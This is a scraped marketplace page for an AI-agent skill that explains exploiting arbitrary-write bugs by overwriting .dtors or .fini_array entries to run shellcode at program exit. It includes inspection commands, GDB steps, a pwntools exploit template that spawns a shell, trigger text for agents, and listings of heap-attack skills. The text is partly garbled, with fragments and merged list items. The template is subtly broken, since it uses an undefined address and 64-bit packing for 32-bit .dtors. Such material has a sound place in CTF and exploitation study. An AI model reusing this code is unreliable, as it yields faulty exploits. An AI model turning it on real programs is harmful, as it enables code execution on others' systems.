skills/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array/SKILL.md
Exploit arbitrary write vulnerabilities using .dtors and .fini_array sections to execute shellcode at program exit. Use this skill whenever the user mentions binary exploitation, arbitrary write vulnerabilities, .dtors, .fini_array, destructor sections, or needs to execute code after main() returns. Also use when the user has write access to a binary's memory and wants to hijack program termination.
npx skillsauth add abelrguezr/hacktricks-skills binary-exploitation-dtors-fini-arrayInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you exploit arbitrary write vulnerabilities by hijacking the .dtors and .fini_array sections to execute shellcode when a program terminates.
Use this approach when:
objdump or rabin2)The .dtors section contains destructor function addresses that execute before the program finishes (after main() returns).
Key points:
.dtors section__DTOR_END__ with your shellcode address to execute it0xffffffff and 0x000000000x00000000 entryThe .fini_array section is similar to .dtors - it contains function addresses called before program termination.
Key points:
First, check if the binary has exploitable sections:
# Check .dtors section
objdump -s -j .dtors ./binary
rabin2 -s ./binary | grep "__DTOR"
# Check .fini_array section
objdump -s -j .fini_array ./binary
rabin2 -s ./binary | grep "__fini"
What to look for:
.dtors: Values between 0xffffffff and 0x00000000 (the 0x00000000 is writable).fini_array: Function addresses you can overwriteYou need a writable and executable location for your shellcode:
# Check memory layout
readelf -l ./binary | grep -A 5 "GNU_STACK"
# Look for writable sections
objdump -h ./binary | grep -E "(writable|RW)"
# Common locations:
# - .data section
# - .bss section
# - Heap (if you can control it)
# - Environment variables (if NX is disabled)
For .dtors:
__DTOR_END__ (the 0x00000000 marker)__DTOR_END__ with your shellcode addressFor .fini_array:
.fini_arrayCheck RELRO status:
readelf -l ./binary | grep -i relro
If Full RELRO or Partial RELRO:
.fini_array is likely read-only - this technique won't workIf you have at least 2 entries in .fini_array, you can create an eternal loop:
__libc_csu_fini (the function calling .fini_array functions) and overwrite it with __libc_csu_fini's address__libc_csu_fini call itself again, executing .fini_array functions repeatedlyReference: See guyinatuxedo's insomnihack18 writeup for a detailed example.
.fini_array entries execute in reverse order.fini_array entry executes only once (unless you use the eternal loop technique)from pwn import *
# Connect to target
p = process('./binary')
# Find addresses
binary = ELF('./binary')
dtors_end = binary.symbols['__DTOR_END__']
fini_array = binary.section('.fini_array').address
# Prepare shellcode
shellcode = asm(shellcraft.sh())
# Find writable location (example: .data section)
data_addr = binary.section('.data').address
# Write shellcode to memory
p.send(shellcode)
# Overwrite .dtors or .fini_array with shellcode address
# This depends on your arbitrary write vulnerability
# Example: write to dtors_end
exploit_payload = p64(shellcode_addr)
p.sendline(exploit_payload)
# Wait for program to exit and shellcode to execute
p.interactive()
# GDB debugging
gdb ./binary
(gdb) break main
(gdb) continue
(gdb) info sections | grep -E "(dtors|fini)"
(gdb) x/20wx __DTOR_END__
(gdb) x/20wx __fini_array_end__
# Check if sections are writable
(gdb) info proc mappings
.fini_arraytesting
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.